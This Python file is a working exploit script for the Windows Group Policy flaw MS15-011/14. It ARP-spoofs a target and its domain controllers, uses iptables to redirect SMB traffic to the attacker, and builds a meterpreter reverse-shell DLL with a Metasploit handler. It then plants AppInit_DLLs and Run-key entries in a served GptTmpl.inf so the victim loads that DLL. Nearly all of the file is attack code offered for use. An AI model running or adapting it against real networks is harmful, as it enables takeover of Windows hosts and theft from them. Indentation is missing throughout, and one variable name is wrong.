import argparse
import os
import subprocess
import socket
import fcntl
import struct
def arpSpoof(interface, hostIP, targetIP):
arpCmd = "arpspoof -i %s %s %s " % (interface, hostIP, targetIP)
arpArgs = arpCmd.split()
print("Arpspoofing: %s" % (arpArgs))
p = subprocess.Popen(arpArgs, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
def karmaSMB(hostIP):
print("reverting GptTmpl.inf from bak")
os.system("cp GptTmpl.inf.bak GptTmpl.inf")
appInit = 'MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs=1,"\\\\%s\\SYSVOL\\share.dll"\r\n' % (hostIP)
CURunKey = 'MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Key=1,"rundll32.exe \\\\%s\\SYSVOL\\share.dll",1\r\n' % (hostIP)
f = open("GptTmpl.inf","a", encoding='utf-16le')
f.write(appInit)
f.write(CURunKey)
f.close()
path = os.getcwd()
fConfig = open("smb.conf","w")
fConfig.write("ini = "+path+"/gpt.ini\ninf = "+path+"/GptTmpl.inf\ndll = "+path+"/shell.dll\n")
fConfig.close()
karmaCmd = "python karmaSMB.py -config smb.conf -smb2support ./ "
os.system(karmaCmd)
def iptables_config(targetIP, hostIP):
print('[+] Running command: echo "1" > /proc/sys/net/ipv4/ip_forward')
print('[+] Running command: iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 445 -j DNAT --to-destination %s' % (targetIP, hostIP))
print('[+] Running command: iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 139 -j DNAT --to-destination %s' % (targetIP, hostIP))
print('[+] Running command: iptables -t nat -A POSTROUTING -j MASQUERADE')
os.system('echo "1" > /proc/sys/net/ipv4/ip_forward')
os.system('iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 445 -j DNAT --to-destination %s' % (targetIP, hostIP))
os.system('iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 139 -j DNAT --to-destination %s' % (targetIP, hostIP))
os.system('iptables -t nat -A POSTROUTING -j MASQUERADE')
def get_interface_address(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', bytes(ifname[:15], 'utf-8')))[20:24])
def generatePayload(lhost, lport):
print("generating payload(s) and metasploit resource file")
msfDll = "msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=%s lport=%s -f dll -o shell.dll" % (lhost, lport)
os.system(msfDll)
msfResource = "use multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset lhost %s\nset lport %s\nset exitonsession false\nexploit -j\n" % (lhost, lport)
print("metasploit resource script: %s" % msfResource)
print ("metasploit resource script written to meta_resource.rc type 'msfconsole -r meta_resource.rc' to launch metasploit and stage a listener automatically")
file = open("meta_resource.rc", "w+")
file.write(msfResource)
file.close()
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target_ip", help="The IP of the target machine vulnerable to ms15-011/14", required=True)
parser.add_argument("-d", "--domain_controller", help="The IP of the domain controller(s) in the target domain. Use this argument multiple times when multiple domain contollers are preset.\nE.G: -d 172.66.10.10 -d 172.66.10.11", action='append', required=True)
parser.add_argument("-i", "--interface", help="The interface to use. E.G eth0", required=True)
parser.add_argument("-l", "--lhost", help="The IP to listen for incoming connections on for reverse shell. This is optional, uses the IP from the provided interface by default. E.G 192.168.5.1", required=False)
parser.add_argument("-p", "--lport", help="The port to listen connections on for reverse shell. If not specified 4444 is used. E.G 443", required=False)
args = parser.parse_args()
print ("checking for missing file(s)")
if not os.path.isfile("karmaSMB.py") and not os.path.isfile("GptTmpl.inf.bak"):
print("Requirements missing. Downloading required files from github")
os.system("git clone https://github.com/Freakazoidile/MS15-011-Files")
os.system("mv MS15-011-Files/* . && rm -rf MS15-011-Files/")
ipAddr = get_interface_address(args.interface)
if args.lhost is not None:
lhost = args.lhost
else:
lhost = ipAddr
if args.lport is not None:
lport = args.lport
else:
lport = '4444'
dcSpoof = ""
dcCommaList = ""
count = 0
for dc in args.domain_controller:
dcSpoof += "-t %s " % (dc)
if count > 0:
dcCommaList += ",%s" % (dc)
else:
dcCommaList += "%s" % (dc)
arpSpoof(args.interface, dc, "-t %s" % (args.target_ip))
count += 1
arpSpoof(args.interface, args.target_ip, dcSpoof)
generatePayload(lhost, lport)
iptables_config(args.target_ip, ipAddr)
karmaSMB(ipAddr)
print("Targeting %s by arp spoofing %s and domain controllers: %s " % (args.target_ip, args.target_ip, args.domain_controllers))
print("If you interupt/stop the exploit ensure you stop all instances of arpspoof and flush firewall rules!")